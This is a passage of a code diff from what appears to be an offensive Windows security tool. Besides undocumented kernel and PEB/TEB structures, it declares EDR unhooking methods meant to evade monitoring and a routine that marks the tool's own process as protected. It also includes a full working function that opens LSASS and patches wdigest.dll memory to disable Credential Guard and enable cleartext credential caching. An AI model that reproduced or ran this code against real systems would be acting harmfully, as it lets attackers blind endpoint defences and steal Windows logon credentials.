UCHAR ObjectTypeIndex;
|
||||||
|
UCHAR HandleAttributes;
|
||||||
|
USHORT HandleValue;
|
||||||
|
PVOID Object;
|
||||||
|
ULONG GrantedAccess;
|
||||||
|
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Source: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/handle.htm
|
||||||
|
*/
|
||||||
|
typedef struct _SYSTEM_HANDLE_INFORMATION {
|
||||||
|
ULONG NumberOfHandles;
|
||||||
|
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
|
||||||
|
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Defines the structures related to the process protection (EPROCESS's Protection attribute).
|
||||||
|
* Source: https://docs.microsoft.com/en-us/windows/win32/procthread/zwqueryinformationprocess
|
||||||
|
*/
|
||||||
|
typedef enum _PS_PROTECTED_TYPE {
|
||||||
|
PsProtectedTypeNone = 0,
|
||||||
|
PsProtectedTypeProtectedLight = 1,
|
||||||
|
PsProtectedTypeProtected = 2
|
||||||
|
} PS_PROTECTED_TYPE, * PPS_PROTECTED_TYPE;
|
||||||
|
|
||||||
|
typedef enum _PS_PROTECTED_SIGNER {
|
||||||
|
PsProtectedSignerNone = 0,
|
||||||
|
PsProtectedSignerAuthenticode,
|
||||||
|
PsProtectedSignerCodeGen,
|
||||||
|
PsProtectedSignerAntimalware,
|
||||||
|
PsProtectedSignerLsa,
|
||||||
|
PsProtectedSignerWindows,
|
||||||
|
PsProtectedSignerWinTcb,
|
||||||
|
PsProtectedSignerWinSystem,
|
||||||
|
PsProtectedSignerApp,
|
||||||
|
PsProtectedSignerMax
|
||||||
|
} PS_PROTECTED_SIGNER, * PPS_PROTECTED_SIGNER;
|
||||||
|
|
||||||
|
DWORD64 GetSelfEPROCESSAddress(BOOL verbose);
|
||||||
|
|
||||||
|
int SetCurrentProcessAsProtected(BOOL verbose);
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,244 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "Undoc.h"
|
||||||
|
|
||||||
|
//
|
||||||
|
// [TEB/PEB UNDER 64-BIT WINDOWS]
|
||||||
|
// This file represents the 64-bit PEB and associated data structures for 64-bit Windows
|
||||||
|
// This PEB is allegedly valid between XP thru [at least] Windows 8
|
||||||
|
//
|
||||||
|
// [REFERENCES]
|
||||||
|
// http://terminus.rewolf.pl/terminus/structures/ntdll/_PEB_x64.html
|
||||||
|
// http://terminus.rewolf.pl/terminus/structures/ntdll/_TEB64_x86.html
|
||||||
|
// https://github.com/giampaolo/psutil/commit/babd2b73538fcb6f3931f0ab6d9c100df6f37bcb (RTL_USER_PROCESS_PARAMETERS)
|
||||||
|
// https://redplait.blogspot.com/2011/09/w8-64bit-teb-peb.html (TEB)
|
||||||
|
//
|
||||||
|
// [CHANGELIST]
|
||||||
|
// 2018-05-02: -now can be compiled alongside windows.h (without changes) or by defining WANT_ALL_WINDOWS_H_DEFINITIONS so this file can be used standalone
|
||||||
|
// -this file may also be included alongside tebpeb32.h which can be found at http://bytepointer.com/resources/tebpeb32.h
|
||||||
|
// -64-bit types no longer clash with the 32-bit ones; e.g. UNICODE_STRING64, RTL_USER_PROCESS_PARAMETERS64, PEB64 (same result whether 32 or 64-bit compiler is used)
|
||||||
|
// -added more QWORD aliases (i.e. HANDLE64 and PTR64) so underlying types are clearer, however most PEB members remain generic QWORD placeholders for now
|
||||||
|
// -fixed missing semicolon bug in UNICODE_STRING64
|
||||||
|
// -added prliminary RTL_USER_PROCESS_PARAMETERS64 and TEB64 with offsets
|
||||||
|
// -included byte offsets for PEB64
|
||||||
|
//
|
||||||
|
// 2017-08-25: initial public release
|
||||||
|
//
|
||||||
|
|
||||||
|
|
||||||
|
//
|
||||||
|
// base types
|
||||||
|
//
|
||||||
|
|
||||||
|
//always declare 64-bit types
|
||||||
|
#ifdef _MSC_VER
|
||||||
|
//Visual C++
|
||||||
|
typedef unsigned __int64 QWORD;
|
||||||
|
typedef __int64 INT64;
|
||||||
|
#else
|
||||||
|
//GCC
|
||||||
|
typedef unsigned long long QWORD;
|
||||||
|
typedef long long INT64;
|
||||||
|
#endif
|
||||||
|
typedef QWORD PTR64;
|
||||||
|
#ifndef __HANDLE64_DEFINED__
|
||||||
|
typedef QWORD HANDLE64;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
//UNCOMMENT line below if you are not including windows.h
|
||||||
|
//#define WANT_ALL_WINDOWS_H_DEFINITIONS
|
||||||
|
#ifdef WANT_ALL_WINDOWS_H_DEFINITIONS
|
||||||
|
|
||||||
|
//base types
|
||||||
|
typedef unsigned char BYTE;
|
||||||
|
typedef char CHAR;
|
||||||
|
typedef unsigned short WORD;
|
||||||
|
typedef short INT16;
|
||||||
|
typedef unsigned long DWORD;
|
||||||
|
typedef long INT32;
|
||||||
|
typedef unsigned __int64 QWORD;
|
||||||
|
typedef __int64 INT64;
|
||||||
|
typedef void* HANDLE;
|
||||||
|
typedef unsigned short WCHAR;
|
||||||
|
|
||||||
|
//base structures
|
||||||
|
union LARGE_INTEGER
|
||||||
|
{
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
DWORD LowPart;
|
||||||
|
INT32 HighPart;
|
||||||
|
} u;
|
||||||
|
INT64 QuadPart;
|
||||||
|
};
|
||||||
|
|
||||||
|
union ULARGE_INTEGER
|
||||||
|
{
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
DWORD LowPart;
|
||||||
|
DWORD HighPart;
|
||||||
|
} u;
|
||||||
|
QWORD QuadPart;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif //#ifdef WANT_ALL_WINDOWS_H_DEFINITIONS
|
||||||
|
|
||||||
|
typedef struct UNICODE_STRING64
|
||||||
|
{
|
||||||
|
union
|
||||||
|
{
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
WORD Length;
|
||||||
|
WORD MaximumLength;
|
||||||
|
} u;
|
||||||
|
QWORD dummyalign;
|
||||||
|
} uOrDummyAlign;
|
||||||
|
QWORD Buffer;
|
||||||
|
} UNICODE_STRING64;
|
||||||
|
|
||||||
|
typedef struct _CLIENT_ID64
|
||||||
|
{
|
||||||
|
QWORD ProcessId;
|
||||||
|
QWORD ThreadId;
|
||||||
|
} CLIENT_ID64;
|
||||||
|
|
||||||
|
|
||||||
|
//NOTE: the members of this structure are not yet complete
|
||||||
|
typedef struct _RTL_USER_PROCESS_PARAMETERS64
|
||||||
|
{
|
||||||
|
BYTE Reserved1[16]; //0x00
|
||||||
|
QWORD Reserved2[5]; //0x10
|
||||||
|
UNICODE_STRING64 CurrentDirectoryPath; //0x38
|
||||||
|
HANDLE64 CurrentDirectoryHandle; //0x48
|
||||||
|
UNICODE_STRING64 DllPath; //0x50
|
||||||
|
UNICODE_STRING64 ImagePathName; //0x60
|
||||||
|
UNICODE_STRING64 CommandLine; //0x70
|
||||||
|
PTR64 Environment; //0x80
|
||||||
|
} RTL_USER_PROCESS_PARAMETERS64;
|
||||||
|
|
||||||
|
//
|
||||||
|
// PEB64 structure - TODO: comb more through http://terminus.rewolf.pl/terminus/structures/ntdll/_PEB_x64.html and add OS delineations and Windows 10 updates
|
||||||
|
//
|
||||||
|
// The structure represented here is a work-in-progress as only members thru offset 0x320 are listed; the actual sizes per OS are:
|
||||||
|
// 0x0358 XP/WS03
|
||||||
|
// 0x0368 Vista
|
||||||
|
// 0x037C Windows 7
|
||||||
|
// 0x0388 Windows 8
|
||||||
|
// 0x07A0 Windows 10
|
||||||
|
//
|
||||||
|
typedef struct PEB64
|
||||||
|
{
|
||||||
|
union
|
||||||
|
{
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
BYTE InheritedAddressSpace; //0x000
|
||||||
|
BYTE ReadImageFileExecOptions; //0x001
|
||||||
|
BYTE BeingDebugged; //0x002
|
||||||
|
BYTE _SYSTEM_DEPENDENT_01; //0x003
|
||||||
|
} flags;
|
||||||
|
QWORD dummyalign;
|
||||||
|
} dword0;
|
||||||
|
QWORD Mutant; //0x0008
|
||||||
|
QWORD ImageBaseAddress; //0x0010
|
||||||
|
PEB_LDR_DATA* Ldr; //0x0018
|
||||||
|
PTR64 ProcessParameters; //0x0020 / pointer to RTL_USER_PROCESS_PARAMETERS64
|
||||||
|
QWORD SubSystemData; //0x0028
|
||||||
|
QWORD ProcessHeap; //0x0030
|
||||||
|
QWORD FastPebLock; //0x0038
|
||||||
|
QWORD _SYSTEM_DEPENDENT_02; //0x0040
|
||||||
|
QWORD _SYSTEM_DEPENDENT_03; //0x0048
|
||||||
|
QWORD _SYSTEM_DEPENDENT_04; //0x0050
|
||||||
|
union
|
||||||
|
{
|
||||||
|
QWORD KernelCallbackTable; //0x0058
|
||||||
|
QWORD UserSharedInfoPtr; //0x0058
|
||||||
|
}KernelCallbackTableOrUserSharedInfoPtr;
|
||||||
|
DWORD SystemReserved; //0x0060
|
||||||
|
DWORD _SYSTEM_DEPENDENT_05; //0x0064
|
||||||
|
QWORD _SYSTEM_DEPENDENT_06; //0x0068
|
||||||
|
QWORD TlsExpansionCounter; //0x0070
|
||||||
|
QWORD TlsBitmap; //0x0078
|
||||||
|
DWORD TlsBitmapBits[2]; //0x0080
|
||||||
|
QWORD ReadOnlySharedMemoryBase; //0x0088
|
||||||
|
QWORD _SYSTEM_DEPENDENT_07; //0x0090
|
||||||
|
QWORD ReadOnlyStaticServerData; //0x0098
|
||||||
|
QWORD AnsiCodePageData; //0x00A0
|
||||||
|
QWORD OemCodePageData; //0x00A8
|
||||||
|
QWORD UnicodeCaseTableData; //0x00B0
|
||||||
|
DWORD NumberOfProcessors; //0x00B8
|
||||||
|
union
|
||||||
|
{
|
||||||
|
DWORD NtGlobalFlag; //0x00BC
|
||||||
|
DWORD dummy02; //0x00BC
|
||||||
|
}NtGlobalFlagOrdummy02;
|
||||||
|
LARGE_INTEGER CriticalSectionTimeout; //0x00C0
|
||||||
|
QWORD HeapSegmentReserve; //0x00C8
|
||||||
|
QWORD HeapSegmentCommit; //0x00D0
|
||||||
|
QWORD HeapDeCommitTotalFreeThreshold; //0x00D8
|
||||||
|
QWORD HeapDeCommitFreeBlockThreshold; //0x00E0
|
||||||
|
DWORD NumberOfHeaps; //0x00E8
|
||||||
|
DWORD MaximumNumberOfHeaps; //0x00EC
|
||||||
|
QWORD ProcessHeaps; //0x00F0
|
||||||
|
QWORD GdiSharedHandleTable; //0x00F8
|
||||||
|
QWORD ProcessStarterHelper; //0x0100
|
||||||
|
QWORD GdiDCAttributeList; //0x0108
|
||||||
|
QWORD LoaderLock; //0x0110
|
||||||
|
DWORD OSMajorVersion; //0x0118
|
||||||
|
DWORD OSMinorVersion; //0x011C
|
||||||
|
WORD OSBuildNumber; //0x0120
|
||||||
|
WORD OSCSDVersion; //0x0122
|
||||||
|
DWORD OSPlatformId; //0x0124
|
||||||
|
DWORD ImageSubsystem; //0x0128
|
||||||
|
DWORD ImageSubsystemMajorVersion; //0x012C
|
||||||
|
QWORD ImageSubsystemMinorVersion; //0x0130
|
||||||
|
union
|
||||||
|
{
|
||||||
|
QWORD ImageProcessAffinityMask; //0x0138
|
||||||
|
QWORD ActiveProcessAffinityMask; //0x0138
|
||||||
|
}ImageProcessAffinityMaskOrActiveProcessAffinityMask;
|
||||||
|
QWORD GdiHandleBuffer[30]; //0x0140
|
||||||
|
QWORD PostProcessInitRoutine; //0x0230
|
||||||
|
QWORD TlsExpansionBitmap; //0x0238
|
||||||
|
DWORD TlsExpansionBitmapBits[32]; //0x0240
|
||||||
|
QWORD SessionId; //0x02C0
|
||||||
|
ULARGE_INTEGER AppCompatFlags; //0x02C8
|
||||||
|
ULARGE_INTEGER AppCompatFlagsUser; //0x02D0
|
||||||
|
QWORD pShimData; //0x02D8
|
||||||
|
QWORD AppCompatInfo; //0x02E0
|
||||||
|
UNICODE_STRING64 CSDVersion; //0x02E8
|
||||||
|
QWORD ActivationContextData; //0x02F8
|
||||||
|
QWORD ProcessAssemblyStorageMap; //0x0300
|
||||||
|
QWORD SystemDefaultActivationContextData; //0x0308
|
||||||
|
QWORD SystemAssemblyStorageMap; //0x0310
|
||||||
|
QWORD MinimumStackCommit; //0x0318
|
||||||
|
|
||||||
|
} PEB64; //struct PEB64
|
||||||
|
|
||||||
|
//
|
||||||
|
// TEB64 structure - preliminary structure; the portion listed current at least as of Windows 8
|
||||||
|
//
|
||||||
|
typedef struct TEB64
|
||||||
|
{
|
||||||
|
BYTE NtTib[56]; //0x0000 / NT_TIB64 structure
|
||||||
|
PTR64 EnvironmentPointer; //0x0038
|
||||||
|
CLIENT_ID64 ClientId; //0x0040
|
||||||
|
PTR64 ActiveRpcHandle; //0x0050
|
||||||
|
PTR64 ThreadLocalStoragePointer; //0x0058
|
||||||
|
PTR64 ProcessEnvironmentBlock; //0x0060 / ptr to PEB64
|
||||||
|
DWORD LastErrorValue; //0x0068
|
||||||
|
DWORD CountOfOwnedCriticalSections; //0x006C
|
||||||
|
PTR64 CsrClientThread; //0x0070
|
||||||
|
PTR64 Win32ThreadInfo; //0x0078
|
||||||
|
DWORD User32Reserved[26]; //0x0080
|
||||||
|
DWORD UserReserved[6]; //0x00E8
|
||||||
|
PTR64 WOW32Reserved; //0x0100
|
||||||
|
DWORD CurrentLocale; //0x0108
|
||||||
|
DWORD FpSoftwareStatusRegister; //0x010C
|
||||||
|
PTR64 SystemReserved1[54]; //0x0110
|
||||||
|
DWORD ExceptionCode; //0x02C0
|
||||||
|
PTR64 ActivationContextStackPointer; //0x02C8
|
||||||
|
|
||||||
|
} TEB64; //struct TEB64
|
||||||
@@ -0,0 +1,64 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <Windows.h>
|
||||||
|
#include "Undoc.h"
|
||||||
|
#include "PEParser.h"
|
||||||
|
#include "PEBBrowse.h"
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <TlHelp32.h>
|
||||||
|
#include <DbgHelp.h>
|
||||||
|
#include <pathcch.h>
|
||||||
|
|
||||||
|
typedef struct diff_t {
|
||||||
|
PVOID disk_ptr;
|
||||||
|
PVOID mem_ptr;
|
||||||
|
size_t size;
|
||||||
|
} diff;
|
||||||
|
|
||||||
|
typedef struct hook_t {
|
||||||
|
PVOID disk_function;
|
||||||
|
PVOID mem_function;
|
||||||
|
LPCSTR functionName;
|
||||||
|
diff* list_patches;
|
||||||
|
} hook;
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory) (
|
||||||
|
IN HANDLE ProcessHandle,
|
||||||
|
IN OUT PVOID* BaseAddress,
|
||||||
|
IN OUT PSIZE_T NumberOfBytesToProtect,
|
||||||
|
IN ULONG NewAccessProtection,
|
||||||
|
OUT PULONG OldAccessProtection);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* pRtlGetVersion)(
|
||||||
|
OUT LPOSVERSIONINFOEXW lpVersionInformation);
|
||||||
|
|
||||||
|
enum unhook_method_e {
|
||||||
|
UNHOOK_NONE,
|
||||||
|
|
||||||
|
// Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks
|
||||||
|
UNHOOK_WITH_NTPROTECTVIRTUALMEMORY,
|
||||||
|
|
||||||
|
// Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks
|
||||||
|
UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
|
||||||
|
|
||||||
|
// Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks
|
||||||
|
UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
|
||||||
|
|
||||||
|
// Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks
|
||||||
|
UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY,
|
||||||
|
|
||||||
|
// Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks
|
||||||
|
UNHOOK_WITH_DIRECT_SYSCALL
|
||||||
|
};
|
||||||
|
|
||||||
|
hook* searchHooks(const char* csvFileName);
|
||||||
|
PVOID hookResolver(PBYTE hookAddr);
|
||||||
|
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method);
|
||||||
|
VOID unhook(hook* hook, DWORD unhook_method);
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Cache for NTDLL PE (accessed often)
|
||||||
|
*/
|
||||||
|
PE* ntdllDiskPe_g;
|
||||||
|
PE* ntdllMemPe_g;
|
||||||
|
void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk);
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
--- Functions to bypass Credential Guard by enabling Wdigest through patching of the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled attributes in memory.
|
||||||
|
--- Full source and credit to https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
|
||||||
|
--- Code adapted from: https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <Tchar.h>
|
||||||
|
|
||||||
|
#include "Globals.h"
|
||||||
|
#include "FileVersion.h"
|
||||||
|
|
||||||
|
enum WdigestOffsetType {
|
||||||
|
g_fParameter_UseLogonCredential = 0,
|
||||||
|
g_IsCredGuardEnabled = 1
|
||||||
|
};
|
||||||
|
|
||||||
|
union WdigestOffsets {
|
||||||
|
// structure version of wdigest.dll's offsets
|
||||||
|
struct {
|
||||||
|
// wdigest.dll's g_fParameter_UseLogonCredential
|
||||||
|
DWORD64 g_fParameter_UseLogonCredential;
|
||||||
|
// wdigest.dll's g_IsCredGuardEnabled
|
||||||
|
DWORD64 g_IsCredGuardEnabled;
|
||||||
|
} st;
|
||||||
|
|
||||||
|
// array version (usefull for code factoring)
|
||||||
|
DWORD64 ar[2];
|
||||||
|
};
|
||||||
|
|
||||||
|
union WdigestOffsets wdigestOffsets;
|
||||||
|
|
||||||
|
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||||
|
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename);
|
||||||
@@ -0,0 +1,170 @@
|
|||||||
|
#include "CredGuard.h"
|
||||||
|
|
||||||
|
DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
|
||||||
|
HANDLE hProcessSnap;
|
||||||
|
HANDLE hLsass;
|
||||||
|
PROCESSENTRY32 pe32;
|
||||||
|
// Set the size of the structure before using it.
|
||||||
|
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||||
|
pe32.th32ProcessID = 0;
|
||||||
|
|
||||||
|
// Take a snapshot of all processes in the system.
|
||||||
|
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||||
|
_tprintf(TEXT("[!] Cred Guard bypass failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Retrieve information about the first process,
|
||||||
|
// and exit if unsuccessful
|
||||||
|
if (!Process32First(hProcessSnap, &pe32)) {
|
||||||
|
_tprintf(TEXT("[!] Cred Guard bypass failed: obtained invalid process handle\n")); // show cause of failure
|
||||||
|
CloseHandle(hProcessSnap); // clean the snapshot object
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Now walk the snapshot of processes, and look for "lsass.exe"
|
||||||
|
do {
|
||||||
|
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe")) == 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} while (Process32Next(hProcessSnap, &pe32));
|
||||||
|
CloseHandle(hProcessSnap);
|
||||||
|
|
||||||
|
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe")) != 0 || pe32.th32ProcessID == 0) {
|
||||||
|
_tprintf(TEXT("[!] Cred Guard bypass failed: coudln't find LSASS process\n"));
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Open an handle to the LSASS process.
|
||||||
|
hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
|
||||||
|
if (hLsass == NULL || hLsass == INVALID_HANDLE_VALUE) {
|
||||||
|
_tprintf(TEXT("[!] Cred Guard bypass failed: couldn't open lsass memory (OpenProcess, error code 0x%lx)\n"), GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
HMODULE hModulesArray[512] = { 0 };
|
||||||
|
DWORD lpcbNeeded;
|
||||||
|
if (!EnumProcessModules(hLsass, hModulesArray, sizeof(hModulesArray), &lpcbNeeded)) {
|
||||||
|
_tprintf(TEXT("[!] Cred Guard bypass failed: couldn't enumerate lsass loaded modules (EnumProcessModules, error code 0x%lx)\n"), GetLastError());
|
||||||
|
CloseHandle(hLsass);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL returnStatus = FALSE;
|
||||||
|
TCHAR szModulename[MAX_PATH];
|
||||||
|
for (DWORD i = 0; i < (lpcbNeeded / sizeof(HMODULE)); i++) {
|
||||||
|
if (hModulesArray[i] && !GetModuleFileNameEx(hLsass, hModulesArray[i], szModulename, sizeof(szModulename))) {
|
||||||
|
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module name for module at index 0x%lx (GetModuleFileNameEx, error code 0x%lx)\n"), i, GetLastError());
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_tcsstr(szModulename, TEXT("wdigest"))) {
|
||||||
|
MODULEINFO moduleInfo = { 0 };
|
||||||
|
if (hModulesArray[i] && !GetModuleInformation(hLsass, hModulesArray[i], &moduleInfo, sizeof(MODULEINFO))) {
|
||||||
|
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module information for module at index 0x%lx (GetModuleInformation, error code 0x%lx)\n"), i, GetLastError());
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Computes the exact address in memory of g_fParameter_UseLogonCredential & g_IsCredGuardEnabled using load lib wdigest base address + known offsets.
|
||||||
|
DWORD64 wdigestBaseAddress = (DWORD64)moduleInfo.lpBaseOfDll;
|
||||||
|
|
||||||
|
DWORD currentValue = 0x0;
|
||||||
|
DWORD CurrentValueLength = sizeof(DWORD);
|
||||||
|
SIZE_T bytesRead = 0;
|
||||||
|
SIZE_T bytesWritten = 0;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Setting g_fParameter_UseLogonCredential to 0x1.
|
||||||
|
* First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard.
|
||||||
|
*/
|
||||||
|
DWORD64 useLogonCredentialAddress = wdigestBaseAddress + wdigestOffsets.st.g_fParameter_UseLogonCredential;
|
||||||
|
DWORD useLogonCredentialPatch = 0x1;
|
||||||
|
_tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), useLogonCredentialAddress);
|
||||||
|
//if (ReadProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, &dwCurrent, dwCurrentLength, &bytesRead))
|
||||||
|
if (ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, ¤tValue, CurrentValueLength, &bytesRead)) {
|
||||||
|
_tprintf(TEXT("[+] Found wdigest's g_fParameter_UseLogonCredential with a current value of 0x%lx\n"), currentValue);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_fParameter_UseLogonCredential value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (currentValue != useLogonCredentialPatch) {
|
||||||
|
if (WriteProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, (PVOID)&useLogonCredentialPatch, sizeof(DWORD), &bytesWritten)) {
|
||||||
|
ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, ¤tValue, CurrentValueLength, &bytesRead);
|
||||||
|
if (currentValue == useLogonCredentialPatch) {
|
||||||
|
_tprintf(TEXT("[+] Successfully overwrote wdigest's g_fParameter_UseLogonCredential value to 0x%lx\n"), currentValue);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_fParameter_UseLogonCredential value (current value 0x%lx instead of 0x%lx)\n"), currentValue, useLogonCredentialPatch);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_fParameter_UseLogonCredential value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("[+] wdigest's g_fParameter_UseLogonCredential is already patched!\n"));
|
||||||
|
}
|
||||||
|
_tprintf(TEXT("\n\n"));
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Setting g_IsCredGuardEnabled to 0x0.
|
||||||
|
* Needs to temporary set the memory page of g_IsCredGuardEnabled to PAGE_READWRITE to conduct the patch.
|
||||||
|
* First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard.
|
||||||
|
*/
|
||||||
|
DWORD64 credGuardEnabledAddress = wdigestBaseAddress + wdigestOffsets.st.g_IsCredGuardEnabled;
|
||||||
|
DWORD isCredGuardEnabledPatch = 0x0;
|
||||||
|
currentValue = 0x0;
|
||||||
|
bytesRead = 0;
|
||||||
|
bytesWritten = 0;
|
||||||
|
DWORD oldMemoryProtection = 0x0;
|
||||||
|
_tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), credGuardEnabledAddress);
|
||||||
|
_tprintf(TEXT("[*] Attempting to set wdigest's g_IsCredGuardEnabled memory protection as PAGE_READWRITE\n"));
|
||||||
|
if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), PAGE_READWRITE, &oldMemoryProtection)) {
|
||||||
|
_tprintf(TEXT("[!] Cred Guard bypass fatal error: Failed to set wdigest's g_IsCredGuardEnabled memory protection to PAGE_READWRITE (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, ¤tValue, CurrentValueLength, &bytesRead)) {
|
||||||
|
_tprintf(TEXT("[+] Found wdigest's g_IsCredGuardEnabled with a current value of 0x%lx\n"), currentValue);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_IsCredGuardEnabled value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (currentValue != isCredGuardEnabledPatch) {
|
||||||
|
if (WriteProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, (PVOID)&isCredGuardEnabledPatch, sizeof(DWORD), &bytesWritten)) {
|
||||||
|
ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, ¤tValue, CurrentValueLength, &bytesRead);
|
||||||
|
if (currentValue == isCredGuardEnabledPatch) {
|
||||||
|
_tprintf(TEXT("[+] Successfully overwrote wdigest's g_IsCredGuardEnabled value to 0x%lx\n"), currentValue);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_IsCredGuardEnabled value (current value 0x%lx instead of 0x%lx)\n"), currentValue, isCredGuardEnabledPatch);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_IsCredGuardEnabled value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("[+] wdigest's g_IsCredGuardEnabled is already patched!\n"));
|
||||||
|
}
|
||||||
|
DWORD newMemoryProtection = 0x0;
|
||||||
|
if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), oldMemoryProtection, &newMemoryProtection)) {
|
||||||
|
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: Failed to restore wdigest's g_IsCredGuardEnabled memory protection to its original value (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("[+] Successfully restored wdigest's g_IsCredGuardEnabled memory protection to its original value\n"));
|
||||||
|
}
|
||||||
|
_tprintf(TEXT("\n\n"));
|
||||||
|
|
||||||
|
returnStatus = TRUE;
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
CloseHandle(hLsass);
